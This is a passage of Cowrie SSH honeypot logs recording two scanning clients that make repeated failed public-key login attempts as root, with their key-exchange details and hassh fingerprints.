01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:51.017279Z","src_ip":"135.148.27.89","session":"a5187524e837","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:ac:6d:a0:d3:9e:e5:f2:70:11:49:ef:cd:7d:15:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDh6avE9MF/yXmUlraMA8ybAYvbS4vvOlnJ2Wu/D1vB/D41W3RijTqR/5siOkk/WlLnIgVWWWYg8MR4sNc61o4d4GgcTtyk51Aw2gEcfFQ0mADA4M/kpgmERfMzr9NmS4YeQgsbz8QDGwpT0DA/U+8QBtZkIvWBboot6psjcgF1G7k3Ll6j43SH8dTV57N6fArYJM1GsKhAVh7MOEQ2sSTDPVgz07jZNrWujIX6ZveFhWstti3VcLbeV7TvfYVm+76K8MKSHBQ2cfCGtxOt6ItzBVx9OZkQScH9id7imfWRey3Hk5CeUESQ2r8YxlWFq0no4c5D2nfPLmXXXqiTgGFX5WCjsm/QLpQji6jyKcHPx0+WFoSoJZtF8DxdB20M1Y1hTyDvYYK5/MkpS0WEM09Pw+toJP3Os9y0gxGd6S/+i+vVHu4WwunE6PHP6H97XBnQEovjX0bSCGNhfRm8KnQrnihyoqLu6qKa7mofzYN1n48zEJsmepiS/anR+tpfB9lzse1W3v6D1Sz0BpdO8sH/s3QWsyjQREsm8qQ9RQbdgqd4a5cjKveQvsPDZm1QIb0pdQD5eWLrShCBDudqka/wH+ZbHPsIb+swmtgMVl0u9se+QkYMb3k5/Hee72hRAvqGlqEx7mDEU0MUDY+zLA4ZnGQ0L5XL07H63a1rm4TypQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:ac:6d:a0:d3:9e:e5:f2:70:11:49:ef:cd:7d:15:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:51.058246Z","src_ip":"135.148.27.89","session":"a5187524e837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:ac:6d:a0:d3:9e:e5:f2:70:11:49:ef:cd:7d:15:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDh6avE9MF/yXmUlraMA8ybAYvbS4vvOlnJ2Wu/D1vB/D41W3RijTqR/5siOkk/WlLnIgVWWWYg8MR4sNc61o4d4GgcTtyk51Aw2gEcfFQ0mADA4M/kpgmERfMzr9NmS4YeQgsbz8QDGwpT0DA/U+8QBtZkIvWBboot6psjcgF1G7k3Ll6j43SH8dTV57N6fArYJM1GsKhAVh7MOEQ2sSTDPVgz07jZNrWujIX6ZveFhWstti3VcLbeV7TvfYVm+76K8MKSHBQ2cfCGtxOt6ItzBVx9OZkQScH9id7imfWRey3Hk5CeUESQ2r8YxlWFq0no4c5D2nfPLmXXXqiTgGFX5WCjsm/QLpQji6jyKcHPx0+WFoSoJZtF8DxdB20M1Y1hTyDvYYK5/MkpS0WEM09Pw+toJP3Os9y0gxGd6S/+i+vVHu4WwunE6PHP6H97XBnQEovjX0bSCGNhfRm8KnQrnihyoqLu6qKa7mofzYN1n48zEJsmepiS/anR+tpfB9lzse1W3v6D1Sz0BpdO8sH/s3QWsyjQREsm8qQ9RQbdgqd4a5cjKveQvsPDZm1QIb0pdQD5eWLrShCBDudqka/wH+ZbHPsIb+swmtgMVl0u9se+QkYMb3k5/Hee72hRAvqGlqEx7mDEU0MUDY+zLA4ZnGQ0L5XL07H63a1rm4TypQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:51.062543Z","src_ip":"135.148.27.89","session":"a5187524e837","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:45:8b:df:7e:71:20:6f:ce:89:ff:38:3e:d4:ea:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0A9ygwwTMIvnaHvDvl4U5x2YRC94SCIRJmem131n8Gc0i5R6xMDFGi+SIParbr+LdWewjyCChJNXXxLbUE6GPaqkQMEGT3M4F/niuTwx+QeMW88MiZNo1t0+EtGCtMNCjxDPntunuMZLhsnrsMYFwSrVWVUoM8zh6kkFWBMNPz2a/BNuQ7rki2HE0t3Gitnsdd4r9NuXvW/gizIIecp9ho+GuI25zwWS5PV9xJcNMHNn7h5hsrD4eM/nYW/lks86RmNtaWRsn6p0WiYPv97Fb/p6b0uYzPXHzVliCNrrmedNONVhrsaWY1dhyqvJkVQDRohAV4j39gYUVXEDqdH+a3rWAHdaMLKuv7vPhiNNMKeaN2u4ysrJ14f0/t5JOkgk5GPKbQ/ThsLOohqYEFmvZFsClPRDNJ+z/x87IWY0X62ChjC7hAfqL8r5Yy9ACz99FXTjV1xM2K1LU5Fc223oIdqjm/Oqq0dITlqMiBCExczIy6+UFoEr94LBRyFspwfBdBJGMaZ7BBQP43XXkD8G0UzEAis7PrNLrCPZyJwFjd83zmQCU59HMmOxLeT1paLZA6NM3zsN/6a3iEiJFLSE4LS3MH+eqe3EPt+K6tfKVtj3EUFhNcptBS2Tul5FLqvvNdXcuHbAcT0hx4Lmlmcb+2/W9/R/djydvj7NpL+cZvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:45:8b:df:7e:71:20:6f:ce:89:ff:38:3e:d4:ea:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:51.077283Z","src_ip":"135.148.27.89","session":"a5187524e837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:45:8b:df:7e:71:20:6f:ce:89:ff:38:3e:d4:ea:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0A9ygwwTMIvnaHvDvl4U5x2YRC94SCIRJmem131n8Gc0i5R6xMDFGi+SIParbr+LdWewjyCChJNXXxLbUE6GPaqkQMEGT3M4F/niuTwx+QeMW88MiZNo1t0+EtGCtMNCjxDPntunuMZLhsnrsMYFwSrVWVUoM8zh6kkFWBMNPz2a/BNuQ7rki2HE0t3Gitnsdd4r9NuXvW/gizIIecp9ho+GuI25zwWS5PV9xJcNMHNn7h5hsrD4eM/nYW/lks86RmNtaWRsn6p0WiYPv97Fb/p6b0uYzPXHzVliCNrrmedNONVhrsaWY1dhyqvJkVQDRohAV4j39gYUVXEDqdH+a3rWAHdaMLKuv7vPhiNNMKeaN2u4ysrJ14f0/t5JOkgk5GPKbQ/ThsLOohqYEFmvZFsClPRDNJ+z/x87IWY0X62ChjC7hAfqL8r5Yy9ACz99FXTjV1xM2K1LU5Fc223oIdqjm/Oqq0dITlqMiBCExczIy6+UFoEr94LBRyFspwfBdBJGMaZ7BBQP43XXkD8G0UzEAis7PrNLrCPZyJwFjd83zmQCU59HMmOxLeT1paLZA6NM3zsN/6a3iEiJFLSE4LS3MH+eqe3EPt+K6tfKVtj3EUFhNcptBS2Tul5FLqvvNdXcuHbAcT0hx4Lmlmcb+2/W9/R/djydvj7NpL+cZvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:51.081811Z","src_ip":"135.148.27.89","session":"a5187524e837","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c8:f7:a0:0c:fd:3f:f2:61:9f:72:43:ac:6f:73:a0:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdnBFtlYKJBBbI9hItYif7VDaDPEEZCXWwSfRgclMUp/uwQxmk+szIFkLAVpztOMiubA+jgzkxQRAr/P3OR32f6BpLYDawGPmDd5vYWoGKO3eb49BoyOhUu+RoG7z9fsqXajnMPYOsofXFCCWN3dizZoBL2WaltQwH+0eO4Mv5Yyr4Zwme5RsjcXYXqEzsm25iPkqzLbh8v0wUBJ4thpToZhtQ2ns8/umFeMcUOtoiMS6YfkWPLwLVP/N71/a+Rdx/+bSqQqtvWdSQzqgoAK48qfZYt4E6HBWBMpKCezg3Z7ZDBoGkSnRDZHeQEw3PvJr1y+x6YWbXZAnE1auC+ZEE85mMqzK8xgxIEUE6uaQGsk8RTE9oK1Xzcj//gl5bN0xo/XSCflPuQbln4zic/BIHaM6IWe6MpYUuI18Z6e1hXZ8VUlL6kgsMTMkzOrMMKwMimXn5YBY/lDae2a0qW+1uZKm70QS0NZ/tPVQ/TiONNciDSLyG2+6uLP5S9SGF8QcEF/Ca5KemHpXn/YZ1JhNsEBzr2XmwVYtsbbhI0/0QVdlQ2VUGso9uYF5MOl2asxhs4HxM5QN5QW33mZ/jZKl9qy8ZRPvQLcyB4NC3XULItLcah11auykl6Hs+WHP02CU5p/OhfR6B1rKX8TxfxxXSvK3SRKQh307KMcvBsOT4SQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c8:f7:a0:0c:fd:3f:f2:61:9f:72:43:ac:6f:73:a0:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:51.095003Z","src_ip":"135.148.27.89","session":"a5187524e837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c8:f7:a0:0c:fd:3f:f2:61:9f:72:43:ac:6f:73:a0:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdnBFtlYKJBBbI9hItYif7VDaDPEEZCXWwSfRgclMUp/uwQxmk+szIFkLAVpztOMiubA+jgzkxQRAr/P3OR32f6BpLYDawGPmDd5vYWoGKO3eb49BoyOhUu+RoG7z9fsqXajnMPYOsofXFCCWN3dizZoBL2WaltQwH+0eO4Mv5Yyr4Zwme5RsjcXYXqEzsm25iPkqzLbh8v0wUBJ4thpToZhtQ2ns8/umFeMcUOtoiMS6YfkWPLwLVP/N71/a+Rdx/+bSqQqtvWdSQzqgoAK48qfZYt4E6HBWBMpKCezg3Z7ZDBoGkSnRDZHeQEw3PvJr1y+x6YWbXZAnE1auC+ZEE85mMqzK8xgxIEUE6uaQGsk8RTE9oK1Xzcj//gl5bN0xo/XSCflPuQbln4zic/BIHaM6IWe6MpYUuI18Z6e1hXZ8VUlL6kgsMTMkzOrMMKwMimXn5YBY/lDae2a0qW+1uZKm70QS0NZ/tPVQ/TiONNciDSLyG2+6uLP5S9SGF8QcEF/Ca5KemHpXn/YZ1JhNsEBzr2XmwVYtsbbhI0/0QVdlQ2VUGso9uYF5MOl2asxhs4HxM5QN5QW33mZ/jZKl9qy8ZRPvQLcyB4NC3XULItLcah11auykl6Hs+WHP02CU5p/OhfR6B1rKX8TxfxxXSvK3SRKQh307KMcvBsOT4SQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:51.100102Z","src_ip":"135.148.27.89","session":"a5187524e837","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:b3:25:7a:1c:e9:a5:39:fa:dc:33:68:5f:2d:f4:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChdfyoPsRDrmJY/nhagUWbvd5vZZ8ewQo0uW3XzwOb2rSMezFf2NZV0rAuKDhCMFNtc4kmph/VTDMYAQXmpoB+c2I0VUjwGMgnLIrdW6gbAE3/YEW0rJFA2G/r2hq3eu9/Vy+Y0sepUHouIr3rmXBnYOVSOzILbrikM0kVc5aMqFDPv/y4ZGlmayAndlM3sAUZ0+EPR43f/GHl1C0IgsNthz0FXR4zEU09gpMB3S8dZug98kDLm6XA8iGHIAUI0n+bUejUXqKRVhm7bGdUmHKrspNCg8Mgvd76pby8aU+cQUd/hZOtla9U1aG1hQy5H3G9nyK5F1sDY9X5Un8v5FxcB93JxNMsL8CFX2oDZidnqqf64aM/RznF0h95uQllLkwdw1w12zrYc9Jf49ISJq6wt45WsX/tgxQxgMpcVlQsAtcshrgx84ClqWbXYhH5Z85p9o4R/UplA59Y9rIMN0bqjc2sVTD4zcw9N4KnJxQrq2HlxKdowjHE7rHVKYQPb5MFAniXGPrA0Pe9FBwUHA2Nx06tccYxMwhO7T1CLjVnvIfbiOKcBBTElPNLO48lwzdb+ekIIXV96n+ZxSEP/fvyLp7yfOgJiOGcsiEXVu6EegYlvJGLbA2nyccQEcjwcmh85QhsmL31A9urbp5br9ljo5UdfaOH7PNUpHjvjA/qiQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:b3:25:7a:1c:e9:a5:39:fa:dc:33:68:5f:2d:f4:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:51.113236Z","src_ip":"135.148.27.89","session":"a5187524e837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:b3:25:7a:1c:e9:a5:39:fa:dc:33:68:5f:2d:f4:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChdfyoPsRDrmJY/nhagUWbvd5vZZ8ewQo0uW3XzwOb2rSMezFf2NZV0rAuKDhCMFNtc4kmph/VTDMYAQXmpoB+c2I0VUjwGMgnLIrdW6gbAE3/YEW0rJFA2G/r2hq3eu9/Vy+Y0sepUHouIr3rmXBnYOVSOzILbrikM0kVc5aMqFDPv/y4ZGlmayAndlM3sAUZ0+EPR43f/GHl1C0IgsNthz0FXR4zEU09gpMB3S8dZug98kDLm6XA8iGHIAUI0n+bUejUXqKRVhm7bGdUmHKrspNCg8Mgvd76pby8aU+cQUd/hZOtla9U1aG1hQy5H3G9nyK5F1sDY9X5Un8v5FxcB93JxNMsL8CFX2oDZidnqqf64aM/RznF0h95uQllLkwdw1w12zrYc9Jf49ISJq6wt45WsX/tgxQxgMpcVlQsAtcshrgx84ClqWbXYhH5Z85p9o4R/UplA59Y9rIMN0bqjc2sVTD4zcw9N4KnJxQrq2HlxKdowjHE7rHVKYQPb5MFAniXGPrA0Pe9FBwUHA2Nx06tccYxMwhO7T1CLjVnvIfbiOKcBBTElPNLO48lwzdb+ekIIXV96n+ZxSEP/fvyLp7yfOgJiOGcsiEXVu6EegYlvJGLbA2nyccQEcjwcmh85QhsmL31A9urbp5br9ljo5UdfaOH7PNUpHjvjA/qiQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:51.117460Z","src_ip":"135.148.27.89","session":"a5187524e837","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:06:c3:43:a4:a7:08:3c:8d:7f:a7:aa:03:b8:5d:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDU5d2UmggB9RgKdf+l6pI8OG7xl+PUYirVVWSjtEFT9RcroE0/i7KWveeV1+7B5EjQvQCSdwdC7xLkAruIqHMozPkMPB4p7XV2syqFJGPVtyf6rxCGYFbCWhc0Czkxl3hAkYnguizICPFSegpAMtyOKvcM/Yp9l+9w4RS61+S9J309WxyTM2qZG5q488WOb4bXKfDzWUKdybH50OOnJCaaoUkn7/I6A1ZP2W+VVDo+9xfJ6r+HiMNEnAVEFzLmqLG+AcpznmkuU1q4Gfkk+mlawjYmEYvOsxauLFBGvmEzReI397MgpEL0hBGubgIvg4Xox72KYoC3xrd7qYBLmkcS8dAq1tP3Q6tzgP9zdqQeVeJeLpxNMa0r8MzictDAlhFm9SW74Pm7CusE/rQXa4vnL+VSbhkFfBOUY8unnAwOe+eGXpsgPHIKl/odyPPwztj76BWKgCSKLbozwUgIGMgmR+2BBYzYoCHH3AYi2UcXll7FtGTBhXh7JbD/nme12EgjDq4456/bNnqKCMuPtOjlAG0+UQ70yIXTEH0HQoAATr96GI0YkWi5xYMjeOM58zZzHjwkOkt4nx17xytRbRDYeMMOpERhOEXmBWfMMdho7ndmF6O4+hqJndOLPfZikbHCkjC5JZOavOtrz+iWDLQB+c8ifxoHI9jW2wuc8Q47HQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:06:c3:43:a4:a7:08:3c:8d:7f:a7:aa:03:b8:5d:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:51.132850Z","src_ip":"135.148.27.89","session":"a5187524e837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:06:c3:43:a4:a7:08:3c:8d:7f:a7:aa:03:b8:5d:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDU5d2UmggB9RgKdf+l6pI8OG7xl+PUYirVVWSjtEFT9RcroE0/i7KWveeV1+7B5EjQvQCSdwdC7xLkAruIqHMozPkMPB4p7XV2syqFJGPVtyf6rxCGYFbCWhc0Czkxl3hAkYnguizICPFSegpAMtyOKvcM/Yp9l+9w4RS61+S9J309WxyTM2qZG5q488WOb4bXKfDzWUKdybH50OOnJCaaoUkn7/I6A1ZP2W+VVDo+9xfJ6r+HiMNEnAVEFzLmqLG+AcpznmkuU1q4Gfkk+mlawjYmEYvOsxauLFBGvmEzReI397MgpEL0hBGubgIvg4Xox72KYoC3xrd7qYBLmkcS8dAq1tP3Q6tzgP9zdqQeVeJeLpxNMa0r8MzictDAlhFm9SW74Pm7CusE/rQXa4vnL+VSbhkFfBOUY8unnAwOe+eGXpsgPHIKl/odyPPwztj76BWKgCSKLbozwUgIGMgmR+2BBYzYoCHH3AYi2UcXll7FtGTBhXh7JbD/nme12EgjDq4456/bNnqKCMuPtOjlAG0+UQ70yIXTEH0HQoAATr96GI0YkWi5xYMjeOM58zZzHjwkOkt4nx17xytRbRDYeMMOpERhOEXmBWfMMdho7ndmF6O4+hqJndOLPfZikbHCkjC5JZOavOtrz+iWDLQB+c8ifxoHI9jW2wuc8Q47HQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:51.136635Z","src_ip":"135.148.27.89","session":"a5187524e837","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:59:51.151780Z","src_ip":"135.148.27.89","session":"a5187524e837","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.136.42","src_port":33284,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cf7b1a0073c","protocol":"ssh","message":"New connection: 170.238.136.42:33284 (10.17.0.5:22) [session: 3cf7b1a0073c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:00:11.868351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:00:11.875671Z","src_ip":"170.238.136.42","session":"3cf7b1a0073c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:00:11.989871Z","src_ip":"170.238.136.42","session":"3cf7b1a0073c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:ac:6d:a0:d3:9e:e5:f2:70:11:49:ef:cd:7d:15:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDh6avE9MF/yXmUlraMA8ybAYvbS4vvOlnJ2Wu/D1vB/D41W3RijTqR/5siOkk/WlLnIgVWWWYg8MR4sNc61o4d4GgcTtyk51Aw2gEcfFQ0mADA4M/kpgmERfMzr9NmS4YeQgsbz8QDGwpT0DA/U+8QBtZkIvWBboot6psjcgF1G7k3Ll6j43SH8dTV57N6fArYJM1GsKhAVh7MOEQ2sSTDPVgz07jZNrWujIX6ZveFhWstti3VcLbeV7TvfYVm+76K8MKSHBQ2cfCGtxOt6ItzBVx9OZkQScH9id7imfWRey3Hk5CeUESQ2r8YxlWFq0no4c5D2nfPLmXXXqiTgGFX5WCjsm/QLpQji6jyKcHPx0+WFoSoJZtF8DxdB20M1Y1hTyDvYYK5/MkpS0WEM09Pw+toJP3Os9y0gxGd6S/+i+vVHu4WwunE6PHP6H97XBnQEovjX0bSCGNhfRm8KnQrnihyoqLu6qKa7mofzYN1n48zEJsmepiS/anR+tpfB9lzse1W3v6D1Sz0BpdO8sH/s3QWsyjQREsm8qQ9RQbdgqd4a5cjKveQvsPDZm1QIb0pdQD5eWLrShCBDudqka/wH+ZbHPsIb+swmtgMVl0u9se+QkYMb3k5/Hee72hRAvqGlqEx7mDEU0MUDY+zLA4ZnGQ0L5XL07H63a1rm4TypQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:ac:6d:a0:d3:9e:e5:f2:70:11:49:ef:cd:7d:15:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:00:12.532556Z","src_ip":"170.238.136.42","session":"3cf7b1a0073c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:ac:6d:a0:d3:9e:e5:f2:70:11:49:ef:cd:7d:15:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDh6avE9MF/yXmUlraMA8ybAYvbS4vvOlnJ2Wu/D1vB/D41W3RijTqR/5siOkk/WlLnIgVWWWYg8MR4sNc61o4d4GgcTtyk51Aw2gEcfFQ0mADA4M/kpgmERfMzr9NmS4YeQgsbz8QDGwpT0DA/U+8QBtZkIvWBboot6psjcgF1G7k3Ll6j43SH8dTV57N6fArYJM1GsKhAVh7MOEQ2sSTDPVgz07jZNrWujIX6ZveFhWstti3VcLbeV7TvfYVm+76K8MKSHBQ2cfCGtxOt6ItzBVx9OZkQScH9id7imfWRey3Hk5CeUESQ2r8YxlWFq0no4c5D2nfPLmXXXqiTgGFX5WCjsm/QLpQji6jyKcHPx0+WFoSoJZtF8DxdB20M1Y1hTyDvYYK5/MkpS0WEM09Pw+toJP3Os9y0gxGd6S/+i+vVHu4WwunE6PHP6H97XBnQEovjX0bSCGNhfRm8KnQrnihyoqLu6qKa7mofzYN1n48zEJsmepiS/anR+tpfB9lzse1W3v6D1Sz0BpdO8sH/s3QWsyjQREsm8qQ9RQbdgqd4a5cjKveQvsPDZm1QIb0pdQD5eWLrShCBDudqka/wH+ZbHPsIb+swmtgMVl0u9se+QkYMb3k5/Hee72hRAvqGlqEx7mDEU0MUDY+zLA4ZnGQ0L5XL07H63a1rm4TypQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:00:12.538434Z","src_ip":"170.238.136.42","session":"3cf7b1a0073c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:45:8b:df:7e:71:20:6f:ce:89:ff:38:3e:d4:ea:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0A9ygwwTMIvnaHvDvl4U5x2YRC94SCIRJmem131n8Gc0i5R6xMDFGi+SIParbr+LdWewjyCChJNXXxLbUE6GPaqkQMEGT3M4F/niuTwx+QeMW88MiZNo1t0+EtGCtMNCjxDPntunuMZLhsnrsMYFwSrVWVUoM8zh6kkFWBMNPz2a/BNuQ7rki2HE0t3Gitnsdd4r9NuXvW/gizIIecp9ho+GuI25zwWS5PV9xJcNMHNn7h5hsrD4eM/nYW/lks86RmNtaWRsn6p0WiYPv97Fb/p6b0uYzPXHzVliCNrrmedNONVhrsaWY1dhyqvJkVQDRohAV4j39gYUVXEDqdH+a3rWAHdaMLKuv7vPhiNNMKeaN2u4ysrJ14f0/t5JOkgk5GPKbQ/ThsLOohqYEFmvZFsClPRDNJ+z/x87IWY0X62ChjC7hAfqL8r5Yy9ACz99FXTjV1xM2K1LU5Fc223oIdqjm/Oqq0dITlqMiBCExczIy6+UFoEr94LBRyFspwfBdBJGMaZ7BBQP43XXkD8G0UzEAis7PrNLrCPZyJwFjd83zmQCU59HMmOxLeT1paLZA6NM3zsN/6a3iEiJFLSE4LS3MH+eqe3EPt+K6tfKVtj3EUFhNcptBS2Tul5FLqvvNdXcuHbAcT0hx4Lmlmcb+2/W9/R/djydvj7NpL+cZvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:45:8b:df:7e:71:20:6f:ce:89:ff:38:3e:d4:ea:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:00:12.656548Z","src_ip":"170.238.136.42","session":"3cf7b1a0073c","protocol":"ssh"}
